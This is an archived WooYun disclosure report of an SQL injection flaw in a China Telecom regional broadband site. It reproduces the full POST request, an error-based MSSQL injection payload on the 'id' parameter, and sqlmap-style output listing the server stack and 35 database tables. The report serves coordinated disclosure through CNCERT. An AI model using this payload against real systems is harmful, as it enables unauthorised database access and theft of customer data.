当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0157730

漏洞标题:中国电信某地市电信宽带中心存在SQL注入

相关厂商:中国电信

漏洞作者: 路人甲

提交时间:2015-12-03 23:56

修复时间:2016-01-21 15:10

公开时间:2016-01-21 15:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-03: 细节已通知厂商并且等待厂商处理中
2015-12-07: 厂商已经确认,细节仅向厂商公开
2015-12-17: 细节向核心白帽子及相关领域专家公开
2015-12-27: 细节向普通白帽子公开
2016-01-06: 细节向实习白帽子公开
2016-01-21: 细节向公众公开

简要描述:

RT

详细说明:

http://**.**.**.**/liucheng.asp
搜索框post注入
POST /liucheng.asp?login=yes HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://**.**.**.**/liucheng.asp
Cookie: bdshare_firstime=1417062486406; %C9%EE%DB%DA%B5%E7%D0%C5%BF%ED%B4%F8%D3%C5%BB%DD%D7%A8%C7%F8=Skin=; ASPSESSIONIDASACACCT=LIHFHAFDCJOHIFHHJBKFDPNM; Hm_lvt_a9c37864aff217c320e97ffddddac5ca=1449050799; Hm_lpvt_a9c37864aff217c320e97ffddddac5ca=1449050799; CNZZDATA1238722=cnzz_eid%3D1020243006-1449050818-%26ntime%3D1449050818; QIAO_CK_133214_R=; baidu_qiao_v3_count_133214=1; QIAO_COOKIE_INVITE_PAGE=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 70
idtpye=%B6%A9%B5%A5%B1%E0%BA%C5&id=123&Submit=%B5%C7%C2%BC%B2%E9%D1%AF
参数id存在注入
---
Parameter: #1* ((custom) POST)
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: idtpye=%B6%A9%B5%A5%B1%E0%BA%C5&id=123'+(SELECT 'Pkdd' WHERE 4030=4030 AND 1577=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(118)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (1577=1577) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(120)+CHAR(106)+CHAR(107)+CHAR(113))))+'&Submit=%B5%C7%C2%BC%B2%E9%D1%AF
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2008
Database: hds0270595_db
[35 tables]
+--------------------------------------------+
| bankmx |
| caidan |
| caigou |
| cdma |
| chanpin |
| config |
| dingdan |
| dkjl |
| dls |
| dxtaocan |
| dxwap |
| dxwapchanping |
| dxyonghu |
| mingxi |
| modem |
| quyu |
| qydingdan |
| rizi |
| taocan |
| telbook |
| tvdingdan |
| tvdz |
| tvtaocan |
| tvwap |
| tvwapchanping |
| tvyonghu |
| wcdma |
| xsdingdan |
| xydingdan |
| yuangong |
| ywqx |
| yybb |
| zhangbu |
| zhdingdan |
| zu_yuangong |
+--------------------------------------------+

漏洞证明:

http://**.**.**.**/liucheng.asp
搜索框post注入
POST /liucheng.asp?login=yes HTTP/1.1
Host: **.**.**.**
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://**.**.**.**/liucheng.asp
Cookie: bdshare_firstime=1417062486406; %C9%EE%DB%DA%B5%E7%D0%C5%BF%ED%B4%F8%D3%C5%BB%DD%D7%A8%C7%F8=Skin=; ASPSESSIONIDASACACCT=LIHFHAFDCJOHIFHHJBKFDPNM; Hm_lvt_a9c37864aff217c320e97ffddddac5ca=1449050799; Hm_lpvt_a9c37864aff217c320e97ffddddac5ca=1449050799; CNZZDATA1238722=cnzz_eid%3D1020243006-1449050818-%26ntime%3D1449050818; QIAO_CK_133214_R=; baidu_qiao_v3_count_133214=1; QIAO_COOKIE_INVITE_PAGE=1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 70
idtpye=%B6%A9%B5%A5%B1%E0%BA%C5&id=123&Submit=%B5%C7%C2%BC%B2%E9%D1%AF
参数id存在注入
---
Parameter: #1* ((custom) POST)
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: idtpye=%B6%A9%B5%A5%B1%E0%BA%C5&id=123'+(SELECT 'Pkdd' WHERE 4030=4030 AND 1577=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(118)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (1577=1577) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(120)+CHAR(106)+CHAR(107)+CHAR(113))))+'&Submit=%B5%C7%C2%BC%B2%E9%D1%AF
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2008
Database: hds0270595_db
[35 tables]
+--------------------------------------------+
| bankmx |
| caidan |
| caigou |
| cdma |
| chanpin |
| config |
| dingdan |
| dkjl |
| dls |
| dxtaocan |
| dxwap |
| dxwapchanping |
| dxyonghu |
| mingxi |
| modem |
| quyu |
| qydingdan |
| rizi |
| taocan |
| telbook |
| tvdingdan |
| tvdz |
| tvtaocan |
| tvwap |
| tvwapchanping |
| tvyonghu |
| wcdma |
| xsdingdan |
| xydingdan |
| yuangong |
| ywqx |
| yybb |
| zhangbu |
| zhdingdan |
| zu_yuangong |
+--------------------------------------------+

修复方案:

这个你们比我更专业。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-12-07 15:05

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给电信分中心,由其后续协调网站管理单位处置.

最新状态:

暂无


漏洞评价:

评价